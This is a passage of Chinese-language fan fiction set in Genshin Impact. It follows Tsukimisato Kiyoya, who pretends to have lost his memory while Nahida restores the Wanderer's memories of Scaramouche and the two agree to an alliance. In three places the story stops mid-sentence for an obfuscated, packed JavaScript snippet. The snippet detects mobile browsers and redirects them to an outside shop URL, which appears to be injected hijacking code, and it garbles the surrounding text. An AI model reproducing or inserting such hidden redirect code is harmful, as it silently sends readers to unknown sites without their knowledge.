月见里清也站在靠后一点的地方,不动声色地打量着空和派蒙的神色。 派蒙被世界树修改记忆,只是单纯对这一幕感到好奇。反倒是空,自打月见里清也今天见到开始,到现在他的眉宇间的神情都颇为复杂。 这也不怪他,他没见过生活在踏鞴砂时期,还未被苦难磋磨过的阿凪。只是没想到,斯卡拉姆齐失去了记忆后,行事方式倒像是回到了过去。 不过……倒不如说斯卡拉姆齐一直都是这样,只不过在经历了那些事后,他习惯性的将自己用尖刺包裹了起来。 月见里清也无声的叹了口气,抱着手臂沉默地靠在墙边,看着流浪者与商人告别,向着他们走过来。 在去净善宫的路上,空和派蒙走在前面,月见里清也不动声色地放慢脚步,逐渐与流浪者平齐。 月见里清也笑了笑,那双狐狸眼含着的笑意更浓了,“你刚才为什么特意去给那个商人送果子?” 在流浪者的记忆中,他并不记得自己有这么一个“弟弟”。他不知道空为什么要如此笃定月见里清也是他的弟弟,明明月见里清也也说不认识自己。 即使眼前的一切都未曾明朗,但流浪者面对这张与自己肖似的面孔时,还是下意识对卸下防备,“只是一点小事而已,我之前给那个商人帮工,因为自己的缘故,让旁人顺手拿走了几个果子,我只是觉得自己应该补偿。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16610328|176541||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 月见里清也了然地点点头,正打算再说些什么的时候,就听流浪者突然开口问道:“你相信他说的话吗?” “什么?” 流浪者顿了顿,说:“我们是兄弟这件事。” 这下不光月见里清也,连走在前面的空和派蒙都忍不住竖起耳朵。 “怎么?”月见里清也抿了抿唇,今早被自己强压下去的情绪仿佛又翻江倒海涌了上来,但他还是强装镇定,“你不相信吗?” 他紧紧盯着流浪者,右手又不知不觉的攥紧,指甲深深嵌入掌心。仿佛流浪者只要说出一个“不”字,他就会立刻拽着人离开,将昨天用刻印之匣复制的记忆数据全都输进他哥的脑子里,强迫他想起自己。 可月见里清也不能这么做。 青羽澈说过这件事幕后的推手不止他一个,还有草神的手笔,想要看清事情的全貌,他就只能忍着。 流浪者皱着眉思索着什么,并未注意到月见里清也的异常,片刻后,他摇了摇头,如实说:“我不知道。” 明明是个模棱两可的答案,却让月见里清也猛地松了口气,收回自己的视线,他知道空也在听,所以微微提高了声音,“我给你讲个我小时候的事吧。” “如他所说,我和你一样是个人偶,但我不知道自己是怎么醒过来的。我在一处空荡荡的庭院里生活过一段时间,除了我,那里面没有一个活物。” “但我总觉得,那里不知有我一个人,起初我以为这是独处太久产生的幻觉。可直到我被踏鞴砂的人接走,开始跟众人一同生活,周围越是热闹,那个念头便越发清晰。”月见里清也轻声说,“于是我干了一件众人十分不理解的事,我跑回借景之馆,把它从里到外翻了个遍,他们都以为我受了什么刺激,于是对我说‘那个人只是我臆想中的人,是虚幻的、不存在的,我找他没有任何意义。’” 月见里清也说到这戛然而止,他偏头看向流浪者问道:“你觉得这件事有意义吗?” “找一个从来没有存在过的人吗。”流浪者回道,“恐怕这没有意义。” 月见里清也轻笑一声,他早就猜到了他哥的答案,曾经的第六席执行官是个典型的结果论者,失忆的流浪者也不例外。 他转头将话题抛给前面的两人,“前面的二位,听了一路,不如说说你们的看法?” 骤然被点名的二人一愣,作为在场唯二知道真相的人,空沉思片刻,说:“或许,寻找的过程,本身也是一种意义。” “也许吧,总之我当时听劝,不再执着寻找那个人。”月见里清也话锋一转,将踏鞴砂遇袭、被神秘人救走的经历简述了一遍,空和派蒙听着,却是缓缓皱起了眉。 派蒙忍不住开口:“但你说的这些,跟我们知道的并不一样。” “你们也知道野伏众袭击踏鞴砂村庄的事?”月见里清也挑了挑眉,“我知道这听起来很荒谬,毕竟我也曾求证过,没人见过他,别人都说我是自己逃出来的。” “所以你不会……”流浪者对上月见里清也的视线,说话声音一顿,本来要说出口的话在嘴里转了一圈,不知道为什么突然说不口了,他换了一种措辞,“该不会认为那人就是我吧?” “谁知道呢,”月见里清也有些无所谓地耸了耸肩,仿佛说这些只为了给他们路上解闷,“是或不是,现在都尚未定论,哪怕这世上真的没有这个人。” “但我记得,这就足够了。” 95.倾落伽蓝(其三) 整个须弥城依托圣树而建,净善宫就位于须弥城的最顶端,从大巴扎到净善宫有段距离,但月见里清也的故事讲完,一行人也差不多到了目的地。 按照青羽澈所言,只要被地脉记录在内的人,都会被世界树修改记忆,所以正常来说,草神也不会例外。 只是月见里清也并未从纳西妲的眼中看见一丝一毫的诧异。 甚至与之相反,纳西妲的眼神一如既往的平静,落到月见里清也身上时,仿佛洞穿了他所有的伪装。 月见里清也面上依旧维持着那份伪装,跟着其他人一起走上前。 纳西妲看了他片刻就移开了视线,最终什么都没说,只是问了句:“这两位是……” “情况有些复杂,总之我们是在大巴扎遇到的这家伙,然后又在郊外遇见他弟弟的……”派蒙指着流浪者和月见里清也,随后将方才遇到两人之事都简单复述了一遍,空还在一旁时不时的补充一下关键细节。 “按照你所说,你在提瓦特各地修行,可据我所知,这样的人会自称为‘修验者’。”纳西妲问道,“你为什么要称自己为‘流浪者’?” “我只是觉得这个名字更适合我。”流浪者轻笑一声,笑意淡的仿佛是清晨的薄雾,“像浮萍一样,没有归处。” 说者看似无心,听者缺有意。这句话落在月见里清也耳中,就像一根细小的刺,猛地扎进他的心中,没有造成多大的伤口,所带来的疼痛让人无法忽视。 他眉心狠狠一皱,只不过他位于众人后方,并没有人注意到他的失态。 月见里清也沉默地听着流浪者对眼下情况提出疑问,看着纳西妲将那些真实的记忆比作“前世”,又看着流浪者那迫切寻求真相的神情,一时间心里五味杂陈。 在此之前,他一直压制着心中的那份怒火,可看见流浪者脸上的那副神情,一股复杂的滋味悄然漫上心头,与心中的怒火交织在一起,化作了一种难以形容的怜惜。 等到纳西妲看过来时,月见里清也垂眸收敛起情绪,随后又恢复了那副玩世不恭又带着点疏离的模样。 他像是才到觉到纳西妲在看自己,礼貌地笑了笑,“按照礼节我应该先介绍一下自己,但各位既然都已经知晓我的名字了,那就直接进入主题吧。” “我和他差不多,居无定所,没有身份,稻妻一般称我这种人为‘浮浪人’。”月见里清也说着自嘲的笑了笑,“比他稍好点,最起码我还有个名字。” 派蒙没忍住扶额:“……这也没好哪里去吧,你们俩现在不都什么都不记得了吗?” 月见里清也点点头,觉得也有几分道理:“也是。” 派蒙追问道:“为什么我感觉你一点也不在乎失忆的事啊?” “可能是因为,困扰我们的不是同一件事吧。”月见里清也说,“就像这位流浪者所言,他不知道自己是谁,从哪来,要到哪去,所以他现在迫切的想知道找回‘自我’。” “而我不同,我从没有觉得自己失去了‘自我’,不论我之前做过什么事,我相信自己有必须这么做的理由,我只是想要知道这个‘理由’而已。” 在一旁的空突然开口,“为了找那个‘从未存在的人’?” “正是如此。”月见里清也坦然承认。 既然话题将到了这里,月见里清也便顺势向纳西妲简要复述了一遍自己“记忆”中的经历。他言简意赅复述完,也不怕纳西妲发现他没失忆。 毕竟作为世界树化身的草神来说,世界树中发生的变动恐怕都瞒不过她,这也就是纳西妲为什么对自己和散兵的到来并不意外的原因。 作为智慧之神,肯定会事先准备好备用方案以备不时之需,更何况这事本就是她下的一盘棋, 流浪者想找回记忆的想法十分坚决,月见里清也也将那份“迫切”演的恰到好处,于是纳西妲按照他们的意愿,提供了真实的记忆。 然而,就在即将进入记忆的前一刻,纳西妲却轻轻抬手,拦下了正要与流浪者一同进入的月见里清也。 月见里清也脚步一顿,皱着眉,像是不解。 “这份记忆是以流浪者为主体,通过他的视角展开,理论上来说,它只能修复流浪者本人的记忆。”纳西妲耐心地解释道,“毕竟你与他是不同的个体,如果你也一同进入,就像是把接口强行接在不匹配的导线上,错误的记忆会与你的自我意识发生冲突。” 月见里清也听懂了,“最终会导致,我无法分辨自己到底是‘月见里清也’还是‘流浪者’?” 纳西妲赞许的点点头,认同他这个说法。 流浪者闻言下意识回头看了一眼月见里清也,几乎是立刻问道:“那还有没有什么办法?” 流浪者的语气里透露出连自己都未曾察觉到的关切,虽然只是下意识的动作,并不能代表什么。但这却顺好了月见里清也的毛,不能一同进入记忆空间的不爽少了那么一点。 于是月见里清也善解人意的说:“没关系,我相信草神大人肯定会找寻其他办法的。” “这点也请两位放心,我答应的事,自然会做到。”纳西妲温和地笑了笑,随后看向空和派蒙,“接下来,我也有一件事麻烦你们。” “有什么事直接说就好了呀,纳西妲还跟我们客气什么。”派蒙拍着胸口说,一副包在我身上的模样。 纳西妲说:“我想请你们跟着流浪者一同进入记忆空间,代替我监督这一过程吗?” 这事对空和派蒙来说很简单,他们二人点头应下。 随着眼前三人的身影消失在眼前,净善宫内就只剩下月见里清也和纳西妲两人,一时间谁都没有讲话。 二人对视片刻,月见里清也忽然叹了口气,打破了这份沉默,他眼里的那份温和完全褪去,透露出警惕的目光,“所以,草神大人是什么时候知道我没失忆的呢?” “嗯?”纳西妲转头看着他,“不再继续演下去了吗?” 月见里清也说:“看戏的人都走了,我演给谁看呢。您既然早就知道了我并非失忆,继续装下去不显得我很傻吗?” “即便空今天不把你们带来,你最终还是会来找我的,不是吗?”纳西妲说,“眼下难道不是一个非常适合坦诚交谈的时机吗?” 月见里清也看得出来,与其说纳西妲是让空去监视着流浪者,不如说是找了个由头将两人支了出去。 只是对月见里清也而言,他并不放心失去全部记忆的流浪者离开自己的身边。更何况,他现在并不能确定,纳西妲所提供的记忆就是散兵的全部记忆。 纳西妲像是看出了他的疑虑,“有你这个有着完整记忆的人在,若我真的想在记忆中动手脚,恐怕最后都很难瞒过你。事已至此,我想我们不如开诚布公的谈一谈。” 说完她顿了顿,又说:“还是说……你有更好的解决方案?” 月见里清也:“……” 他当然有更好的解决方案,刻印之匣现在就放在衣服的口袋中,但在彻底搞明白纳西妲的打算前,他并不准备将它拿出来。 “草神大人这份洞察人心的能力,还真是让人心生敬畏。”月见里清也半真半假的感叹着,“我还有什么心思是您察觉不到的?” 纳西妲权当他默认了自己的问题,闻言还真认真想了想,“比如,我至今仍不清楚你是怎么进入世界树,又是怎么保存了有关散兵的完整记忆。” “斯卡拉姆齐不会主动搜寻踏鞴砂的记忆,他能知晓当年的真相,恐怕是有人故意将那段记忆放在他面前的。”月见里清也没有回答她的问题,转头提了另一件事,“我只是好奇,草神大人如此大费周章,让他抹除自己的存在,现在又让他恢复记忆,到底是为了什么。” 如果只是为了单纯处理掉“散兵”这个威胁,让他的存在彻底消失在这个世上,作为须弥的神明,纳西妲理应有上百种省时又省力的方法。毕竟此时此刻,他们的身份都是阶下囚而已。 可费心劳力半天,只是为了让散兵失忆,不仅如此,纳西妲事后又帮助他恢复记忆,这番操作在月见里清也看来就有些耐人寻味了。 不过目前而言,纳西妲并没有表现出明确的恶意,这也是月见里清也还愿意站在这里,和她好好商谈的原因之一。 纳西妲反问道:“你其实知道具体原因,为什么不愿相信它呢?” 月见里清也深吸一口气,说:“因为这个原因,在我看来实在是太荒谬了。” “我相信您依旧记得我和教令院合作时,我对须弥民众做过什么,这世上有无数种处理‘罪人’的方式,可您偏偏选择了‘庇护’。” 以抹除自我的方式,散兵斩断了与其他人的关联,等到流浪者拿回了自己的记忆,他将会成为一个独立的人。愚人众那边也不再会有人记得第六席执行官,这么看来,未尝不是一件好事。 可月见里清也知道,这世上没有天上掉馅饼的事,今日他们所接受恩惠,背后必定有它的代价。 “但在我看来,这不是‘庇护’,而是合作。”纳西妲缓缓地说,“我需 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16622749|176541||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要为未来的须弥留下一份保障,倘若未来须弥出现任何动荡,我需要你们的不留余力地来守护须弥,哪怕为此付出生命。这也是对曾经你们在这片土地上所留下的创伤,最好的‘赎罪’。” “不过这并非困束,你们在须弥境内享有公民的一切自由。当威胁解除,或者你们认为时机成熟时,去留随意,我绝不强求。” “怪不得须弥民众都赞叹您的智慧与慈爱,我这话绝无半点嘲讽的意思。”月见里清也摇了摇头,“可如果未来并没有发生灾难,草神大人又当如何?” “未来的事看似虚无缥缈,可它就像这个世界真实的历史一样,世界树将它粉饰,但它依旧存在,只是我们大多数人都未曾察觉。” 纳西妲说着看向流浪者一行人进入的记忆副本,“你应该知道教令院收集梦境能量的方式,虽然你阻止了花神诞祭当天的循环,但让我用它举个例子吧。” “整个世界或许就是一场巨大的花神诞祭。” 月见里清也闻言一愣,虽然他已经从青羽澈口中知晓循环的存在,但从神明口中再次听闻是完全不同的感受。 他右手再次无意识攥紧,指尖微微泛白,开口道:“因为未来是过去,所以它一定会发生?” 灾难一定会发生,须弥会因此陷入苦战,恐怕其他六国也无法避免。能让七国都遭殃的灾难,除了深渊,月见里清也想不出其他。 所以在未来,或者说上个循环的结尾,深渊最终会全面入侵提瓦特,而七国无力抵抗,最后以散兵自我牺牲的方式融合世界树,为世界树带来新生,为提瓦特留下一线生机? 纳西妲沉默一笑,默认了他的说法。 月见里清也心下一沉,眉头紧皱,他半晌没说话,仿佛在消化这个对他而言信息量有些过大的消息。而纳西妲并没有催促他,只是静静地等着。 过了好一会,月见里清也才说:“我还有最后一个问题。” 纳西妲示意他请讲。 “为什么在您的计划中,没有任何关于我的安排呢,您好像并不担心会因我的存在而打乱计划。” 不管是纳西妲,还是青羽澈,这些知晓未来的人,从来没有担心过自己会破坏掉整个救世的计划。 并不是说自己的选择无足轻重,而是他们从头到尾就没怀疑过自己会做出对计划不利的选择。 对纳西妲来说,散兵与月见里清也的实力并不差,且她能看得出,他们的本心并不坏,不论从哪方面来说,他们都是最合适不过的合作对象。 就像月见里清也所说,她从未将月见里清也视为“变量”,因为他的执念已经将他圈禁在命运上了。 于是纳西妲说:“因为你与散兵不同,你一直在试图为他和自己寻找一个归宿,一个‘家’,并且很想将他从愚人众带离。你的所有的执念都系与他一人,所以你无论做什么选择,都不会抛弃他。” 这话向一把利刃,精准的撕开了月见里清也的伪装,他几乎是本能的,立刻反驳道:“我从来没有这么说过。” “或许吧,这只是我的推测。”纳西妲轻声道,“毕竟你心中所想,只有你最清楚,不是吗?” “……” 月见里清也终于意识到,在智慧之神面前,所有的隐藏都是白费功夫,在那双平静眼眸中,他的心思无可遁形。 “家”。 这个概念如同一颗种子,自踏鞴砂的时期,在他心底生根发芽。那这些无忧无虑的日子,时至今日,仍是他心中不可磨灭的记忆。 他是跟着散兵加入了愚人众,但他并不喜欢这里,但他也知道自己无法带着散兵走。所以只有变强,能够与散兵并肩,替他承担一些责任,直到有一天他们能够放下一切。 他想有个“家”,有个能够逃离一切痛苦、磨难、与创伤的避风港,没有算计与利息,只有他和散兵,像个普通人一样生活。 月见里清也心里清楚这是不可能的,所以他从未说出口。这是第一次,也是唯一一次被人光明正大的点出来。 但不论是为了自己的执念,还是为了将散兵从未来的灾难中救下,又或者是摆脱愚人众的控制,与草神合作,的确是目前的最优解。 一切的一切,从青羽澈的算计,但纳西妲的计划,这一切都在推着月见里清也往前走,将他推上一条不知未来的不归路。 “看来。”月见里清也闭了闭眼,再次睁眼时,目光又重新恢复了平静,露出一点认命的笑容说,“我好像并没有选择的权利,我答应合作。” 96.过去即是昨日 他只说了“我”,而不是“我们”。 月见里清也知道,散兵经过这一系列之事,答应合作是必然的结果,可即便如此,他还是不愿替散兵做决定。 纳西妲仿佛懂得他心中所想,没再说什么,转头提了另一件事,“你看起来好像还有心事。” 月见里清也沉默片刻,从口袋中拿出了那枚刻印之匣。 刻印之匣可以提供三次数据迁移,在今天早些时候,他就将另个装置复制的记忆数据迁移了过来。 “这里面是斯卡拉姆齐的记忆,我相信您准备的记忆足够详细,但我想让他完完整整的回来。” 与其说世界树记载的是记忆,不如说是历史,它以第三人称的视角,事无巨细的记载世界上发生的一切,可唯独能不能记载人们心中的所思所想。 记忆与情感都是人不可分割的一部分,纳西妲为流浪者提供了记忆,那月见里清也为他补全情感。 月见里清也说着抿了抿唇,恳求道:“我请您帮帮我。” “这是很合理的提议,月见里清也。”纳西妲说,“更何况从合作的角度来看,散兵记忆恢复的越完整,越有利于我们的盟约。” 月见里清也闻言松了口气,轻轻地点了点头,将刻印之匣里储存的记忆数据提取出来。微弱的光芒化作了一只手掌大的小猫,月见里清也恍惚间像是看见了小煤球,没忍住用手指戳了戳它。 小猫却反身一扭,避开了他的手指,冲着纳西妲那边跑过去。 月见里清也:“……” 某些人的记忆数据都这么讨人厌。 他看着纳西妲将小猫融合进记忆空间之中,那团记忆光芒微微颤动,像是水滴滴进湖面,泛起阵阵涟漪。 月见里清也没忍住上前走了几步,想看清光晕中的场景,只可惜记忆空间能直接联通纳西妲的意识,并不能通过光团折射出里面的情况。 纳西妲察觉到了他的动作,轻声笑了笑,将一个东西递给了他。 看清那东西样貌的月见里清也一愣,迟疑地捏着手中的树叶形状的虚空终端,不确定的说:“我以为这东西早就停用了。” “现在的须弥,的确已经全面暂停了虚空终端的使用。”纳西妲在虚空终端上点了一下,将它激活后便收回手,“但科技的好坏最终还是要看人们如何使用,而不是仅凭使用他的人做下恶事,就将其定义为‘恶’。” “确实如此。”月见里清也应和着,将手中的虚空终端带在耳边。 眼前的宁静安详的净善宫迅速被记忆空间的画面所替代,方才融合记忆也给记忆空间带来了扰动,流浪者和空一行人没再继续深入,留在当前记忆提高戒备。 空皱着眉,将剑紧握在手中,他知道纳西妲也在关切着记忆空间的一举一动,于是试着喊了一句:“纳西妲?外边没发生什么吧?” “没事,只是……我刚才又找到了一段记忆,将它融合进梦境空间之中了而已。”纳西妲察觉到月见里清也眼中的暗示,主动将此事瞒了下来。 她顿了顿,又说:“继续向前吧,空。接下来的回忆,应该能帮流浪者先生解开更多的疑惑。” 三人不疑有他,继续向着记忆深处走去。 通过虚空终端观看画面的月见里清也试着动了动视角,发现他只能以一个较高的视角俯视整个空间,无法自由移动,有点类似于通过监视器观察他们的一举一动。 “如果你想的话,现在也是可以进去的。”纳西妲的声音突然在月见里清也耳边响起,月见里清也将视线从记忆空间中收回,转头就看到纳西妲正盯着自己看,也不知道看多久了。 月见里清也摇摇头,“不必了,我在这等他出来就好。” “哎?”纳西妲有些意外月见里清也会拒绝,“可人们一般都认为,在这种大事时,家人应该陪同在他们身边。” “可能是因为我知道接下来会发生什么吧,我没有真的失忆,看着自己曾经的‘光荣事迹’再装出一副什么都不知道的样子来,着实有些难为人。”月见里清也轻轻叹了一口气,无奈的笑了笑,“我是擅长演戏,但也不是没脸没皮。” 尤其是自己曾经那副什么都不知道的单纯样子……看上去好傻。 而且月见里清也也也想看看,散兵会趁着自己不在编出一个怎样的理由来狡辩。 “人们在长大后一般都会难以面对自己曾经的天真行为,这是成长的一部分,并不是什么坏事。”纳西妲说,没再提让月见里清也进记忆空间的事。 话题到此为止,二人重新把注意力放在记忆空间之中。 下一处的回忆开始在三人眼前上演,四周依然是稻妻的风景,但跟上一个房间的回忆比起来,三人眼前的画面更为逼真了。 “记忆好像……更真实了。”流浪者微微皱眉,喃喃道。 派蒙左顾右盼看了看,想起纳西妲方才说过的话,点了点头,“毕竟纳西妲说找到了另一段记忆,估计是这样才显得更加真实了吧。” 只可惜二人口中所说的“真实”并不是一回事,流浪者口中所说的真实,是说他在这段回忆里,感到一股莫名的悲愤与决绝,仿佛他能同步感受到记忆中“阿凪”的情绪。 但他描述不出来这种感受从何而来,只好暂时闭口不谈,点点头继续看着回忆。 幼时的阿凪去鸣神岛求援无果,孤身返回踏鞴砂准备自己关停御影炉心。可自从他回到踏鞴砂后,阿清就像察觉到了什么,寸步不离的跟在他身后。 任凭阿凪怎么跟他说,不论是骗他、骂他,都不能将他从自己身边赶走。 阿清固执的跟在阿凪身后,对他哥的狠话视若无睹,甚至越过他率先踏入泄露最严重的核心区域。 阿凪忙追上去,像是妥协一般的握着阿清的手,一步步穿过灰烬与裹挟着雷元素的炉烟,直到抵达那冒着火光的炉子。 御影炉心的温度很高,流浪者下意识攥紧了双手,仿佛此时此刻那炉火也灼伤着自己的手掌。 有了刻印之匣中的记忆作为补充,记忆空间呈现的画面也更为精致详细,如果不是流浪者正以旁观者的视角观看,恐怕早就深陷其中。 这个房间的回忆以最后他们拯救了踏鞴砂,但却被关押起来而结束。 “为什么会这样?你们明明关停了御影炉心,他们为什么会抓你们?!”派蒙在空中跺了跺脚,有些气愤的问。 流浪者沉默片刻,像是才挣脱了回忆中画面,轻声道:“我不知道。” 回忆外的月见里清也垂在腿旁手指微动,纳西妲右手轻轻一挥,草元素光屏在月见里清也展开,他有些不解的看向纳西妲。 “你可以给他一些提示,记忆空间只会为他展示部分重要的记忆,其他记忆都会在最后他选择接受记忆时一同归还,”纳西妲解释道,“不过这取决于你。” 月见里清也听懂了,空间只会将散兵简略的一生展示在流浪者眼前,考验他有没有接纳过去的决心。他犹豫了几秒,伸手按上光屏。 同一时间,记忆空间内。 流浪者的面前忽然出现了一个发着微光的月亮,他伸手轻轻碰了碰,月亮化作微光散开,缓缓的在三人面前勾勒出一道画面。 月光透过窗户照进来,画面中的散兵和月见里清也都穿着参加宴会时穿的正装。 “这…这是……?”派蒙下意识的想去想流浪者求证,但随后反应过来流浪者目前处于失忆状态,什么也不记得。 空看了片刻,结合他对流浪者兄弟两个仅限的了解,猜测道:“这应该是他们在愚人众的时候吧。” 画面中的散兵看着月见里清也,开口说道:“因为我们在他们眼里就是‘异类’啊。” 月见里清也沉默良久,捏紧手中的杯子,闷声说:“知道咱们秘密的就他们两个,不管是谁泄密,御舆长正抓咱们肯定是因为知道了咱们是两个‘异类’,死两个可能对他们产生威胁的‘异类’,总好过死自己人。” 月见里清也话音刚落,画面骤然消散。 ……异类吗? 流浪者突然一笑,那笑容极为复杂,心中五味杂陈,难以名状。 空间外,纳西妲看着月见里清也,开口问道:“为什么要选取这段记忆?” 月见里清也垂眸移开视线,不去看画面中流浪者的神情,“‘异类’……在我看来,这个词贯穿了我们一生,是一切不幸的开端。” 他抬起眼看向纳西妲,问了一个当时散兵对他说过的问题,“草神大人,如果消除世界上所有的差异,这世间会不会因此而和平,不再有苦难的发生?” “差异本身会给我们带来不一样的人生与境遇,这是毋庸置疑的。”纳西妲答道,“可‘差异’本身,并非苦难的根源,就像沙漠与雨林因‘差异’而界限分明,却也因此孕育出截然不同的生命与文明。” “真正的苦难,源于对‘差异’的排斥、恐惧与不包容,是将‘异类’视作威胁,而非独特个体的想法。若强行抹去世间所有‘差异’,得到的不会是和平,而是一片失去所有色彩与生机的虚无。” “是吗……”月见里清也指尖微微蜷缩,声音听不出任何情绪,“那么,我们生而为人偶,被人们视作‘异类’,就该永远承受这份痛苦吗?” “不。”纳西妲坚定地否定他的这个说法,“智慧的道路,从来不是消除自我以迎合世界,或者抹杀世界以成全自我,而是去建造一个足以包容千姿百态的‘容器’。” 月见里清也说:“这也是你将踏鞴砂的真相送到斯卡拉姆齐面前的原因?” 纳西妲笑而不语。 记忆空间内的时间流速与外界不同,就在纳西妲和月见里清也对话的时候,流浪者一行人已经行到记忆空间深处,简略的将降神计划开始前的记忆全部看完。 流浪者站在原地,感觉胸口压着一块巨石,沉重得让他几乎无法呼吸。 不仅仅是为了自己曾经做过的那些事,还有月见里清也。 那些属于阿凪和阿清的画面,甚至后来的散兵与月见里清也的经历,孩童的依赖、少年的固执、危难时紧紧交握的手,这一切都如此真切。 “我和他……月见里清也,后来发生了什么?”流浪者问道。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16634347|176541||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这下就算派蒙,也一时间不知道该如何回答,她戳了戳一旁空,用眼神向他求救。 “如你所见……”空顿了顿,开口道,“你抹除了自我,你不记得他,他也不记得你了。” “原来是这样,”流浪者苦笑一声,但很快他就调整好了情绪,“我已经观看了足够多的往事,草神大人,如果可以的话,我想取回那些属于我的记忆。” 月见里清也睫毛轻颤,看向纳西妲。 纳西妲说:“你确定要这样做吗?一旦你拿回记忆,这也就意味着那些曾经被你舍弃的一切,将重新回到你的身上。” “我确定。”流浪者声音异常坚定。 汹涌的记忆涌入流浪者的脑海,那些曾经属于他,又被他抛弃的一切,此刻一幕幕正在自己脑海中一一浮现,那些回忆带来巨大的冲击让他痛苦万分。 而与此同时,一直沉寂在三人面前的正机之神突然启动。流浪者尚未从接纳记忆中的冲击中缓过来,空挺身而出,冲上前与正机之神周旋。 即使知道这些都是过去的记忆,月见里清也看见正机之神的攻击马上就要落在流浪者身上时,还是心中一紧。 “草神大人……”他情急之下脱口而出,想让纳西妲帮忙让自己进入记忆空间,但他话还没说完,就见那攻击就被某种力量挡下,硝烟四起。 月见里清也猛地一顿,有些不可置信地看着从硝烟中透出来的青色光芒。 这光芒很熟悉,只不过他曾经见过的是幽蓝的水,而那股青色透亮的,是风。 在流浪者,或者说散兵面前的,是一个风元素神之眼。 散兵抬手擦掉脸上的血迹,一把抓过那个属于他自己的神之眼,抬眸看向眼前的正机之神,“还真是令人心生不快。” 不光月见里清也,空和派蒙都是一愣,“你……你恢复记忆了?!” “废话少说。”散兵暂时没空跟他们叙旧,他侧身避开正机之神的又一次攻击,说完率先攻上去。 记忆空间的正机之神和散兵自主操控的相比,实力大幅缩水,散兵和空两人很快就将其解决。 但在散兵提出返回净善宫的时候,空突然插话,“等等。” “怎么了,这里应该没有什么事了吧?”派蒙问道。 空却看向散兵,问他:“你想好出去后怎么和月见里清也解释了吗?” 散兵:“……” “呵。”通过虚空终端监视他们一举一动的月见里清也冷笑一声,嘴唇动了动,无声地骂了一句,“混蛋。” 他骂完后将虚空终端一摘,也不想听散兵说了什么,收了脸上的表情,又恢复了那副漫不经心又疏离的模样。 一旁的纳西妲将梦境中三人带回现实,散兵再回来的一瞬间就下意识的看向月见里清也,盯着看了许久。 但月见里清也没像平日里那样冲他笑,反而察觉到了自己的视线,有些不解的歪了歪头,像是不知道自己为什么突然看他。 散兵呼吸一滞,感觉胸腔里仿佛塞满了在水中泡过的棉花,沉重得让他几乎无法呼吸。 “欢迎回来,空、派蒙,还有散兵。”纳西妲突然开口,扯回了散兵的思绪。 但一听见这个名字,散兵的眉微不可察的一皱,“……” 纳西妲了然,“莫非是对这个名字有些不满?” “没什么,我只是在想,”散兵迫使自己将视线从月见里清也身上移开,“我也该换一个名字了。” 既然知晓了多托雷所做的那些事,他就绝不可能再用一个和他有关的称号。 但取一个新名字也绝非易事,名字意味着馈赠,自然不可能草草了事。纳西妲提议如果散兵没有什么想法,可以问问空和月见里清也。 “行吧,你们有没有什么意见?”散兵问道,说完看了一眼月见里清也。 月见里清也依旧站在后方的位置,仿佛这里的热闹与自己无关。 散兵又没忍住皱了皱眉,想走过去把他拉过来。 派蒙摇了摇头,“不行不行,我只会给人起绰号,名字什么的我不太擅长。” 说完她看向空,“还是你来决定吧。” 空想了想,说:“你弟弟叫月见里清也,你要不要也跟他一块姓‘月见里’?” 散兵对这个提议没有意见,他点了点头,问月见里清也,“那你呢?你有没有……什么想法?” 月见里清也盯着散兵,突然冲他一笑。 凭着这么多年对月见里清也的了解,散兵眼皮一跳,感觉不太对。 “不如就用‘凪’字吧,跟我一样,都是曾经丹羽给我们起的。”月见里清也说,“月见里凪和,你觉得怎么样?” 月见里清也语出惊人,除了纳西妲外,镇住了在场的所有人。 散兵看着他,瞳孔骤缩,有些难以置信,“你……恢复记忆了?” 月见里清也说:“如果我说,我从来就没失忆呢。” 他看着散兵几经变化的神色,冷笑道:“怎么,你是嫌弃我跟你摊牌摊得太早,没想好怎么跟我狡辩,还是发觉我没失忆,大失所望呢?” 97.明日昭示新生(其一) “……我不是那个意思。”散兵下意识解释。 但话刚说出口,散兵就在心里“啧”了一声。这个解释放在此刻有些过于苍白了,可面对月见里清也,他一时间也想不出更好的道歉。 月见里清也闻言挑了挑眉,嘴角的那抹笑容忽然变得玩味起来。 派蒙好不容易找回自己的声音,“所以……你一直都在在和我们演戏?” “可以这么说,但事出有因,有机会我会解释的。”月见里清也点了点头,坦然承认,说完视线重新落回散兵的身上,“现在,还是继续刚才的话题吧。” “关于你的名字,”他说着走上前,看似随意的轻轻拍了拍散兵的肩膀,“你紧张什么,不是你问我有什么想法吗,斯卡拉姆齐?” 月见里清也看似是在笑着,可在看向散兵时,那双眼睛里没有一点温度,跟平日判若两人。 他平日里很少会直呼自己的名字,正式的场合下也会称职称,只有一种情况例外。 “……” 